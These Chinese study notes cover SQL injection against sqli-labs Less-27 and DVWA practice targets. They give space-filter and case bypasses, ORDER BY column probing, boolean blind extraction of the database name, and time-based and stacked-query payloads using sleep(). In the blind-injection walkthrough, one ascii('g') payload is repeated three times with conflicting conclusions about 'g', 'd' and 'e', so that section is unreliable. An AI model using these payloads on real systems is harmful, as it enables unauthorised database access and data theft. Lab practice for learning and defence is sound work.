因为靶场的id值空格会被省略,用符号来取消
- 大小写注入
Less 27
单引号闭合,为字符型
http://127.0.0.1/sqli/Less-27/?id=1%27%20and%20%271%27%20=%271
Less-27 Trick with SELECT & UNION
注入绕过技巧
不过滤空格方法
使用/**/
使用order by 判断语句用了几个字段
http://127.0.0.1/sqli/Less-27/?id=1%27/*%20*/%20order/*%20*/%20by/*%20*/%203;#
还是出错,那就换字符()()试试
Id=1’()order()by()2;#
使用%
不断尝试各种符号,使得过滤器不在过滤空格
然后就可以实现查询
Where id=‘1’ order by 1||‘1’=‘1’;
使用/%0a*/强制空格
大小写绕过
数据库模式探测
Database()
1、基于布尔的SQL 盲注
Step 1:判断注入
Step 2:猜测可能的SQL 语句
Step 3:探测数据库模式
SELECT * FROM table_users WHERE uid=’id’;
id=1’ and (select if(1=1, 1, 0));#
SELECT * FROM table_users WHERE uid=’ 1’ and (select if(1=1, 1, 0));#’;
用户存在
id=1’ and (select if(1=2, 1, 0));#
SELECT * FROM table_users WHERE uid=’ 1’ and (select if(1=2, 1, 0));#’;
用户不存在
猜测当前数据库的名称:
a b c d e f g h i j k l m n o p q r s t u v w x y z
1' and (select if(ascii(substring(database(), 1, 1))<ascii('a'), 1, 0));#
用户不存在 è数据库名称首字符比’a’大
1' and (select if(ascii(substring(database(), 1, 1))<ascii('n'), 1, 0));#
用户不存在 è数据库名称首字符比’n’小
1' and (select if(ascii(substring(database(), 1, 1))<ascii('g'), 1, 0));#
用户不存在 è数据库名称首字符比’g’小
1' and (select if(ascii(substring(database(), 1, 1))<ascii('g'), 1, 0));#
用户不存在 è数据库名称首字符大于或等于’d’
1' and (select if(ascii(substring(database(), 1, 1))<ascii('g'), 1, 0));#
用户不存在 è数据库名称首字符比’e’小
推断数据库名称的首字符为d
以此类推,查询数据库中的表,列名称以及对应的值
2、HTTP 请求方法
A)GET 方法
http://10.211.55.4/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#
B)POST 方法
http://10.211.55.4/dvwa/vulnerabilities/sqli/#
3、基于POST 请求的SQL 注入
Step 1:判断注入类型
1’ 或者1’ and ‘1’=’1 è报错,推断不是字符型SQL 注入
1 and 1=1 è正确
- and 1=2 è错误
推断出这是一个整数型SQL 注入
Step 2:推测SQL 查询语句
SELECT first_name,sur_name from table_users WHERE uid=id;
Step 3:用order by 子句推测SELECT 的列数
Order by 2 è正确
Order by 3 è错误
推断SELECT 语句选择了2 列
Step 4:探测数据库模式
探测当前连接数据库的用户名和数据库名称
探测出数据库dvwa 数据库的模式
3、SQL 注入进阶
——基于时间的注入攻击
Sleep 函数,benchmark 类似函数
建议:如果能够转换为基于布尔型的SQL 盲注,尽量避免基于时间的 盲注
——堆叠查询注入
可以通过SQL 注入多条SQL 执行语句
DVWA:Low:SQL Injection
SELECT * FROM table_users WHERE user_id=’id’;
id= 1'; select if(current_user() LIKE 'root%', 0, sleep(5));#
SELECT * FROM table_users WHERE user_id=’ 1'; select if(current_user() LIKE 'root%', 0, sleep(5));#’;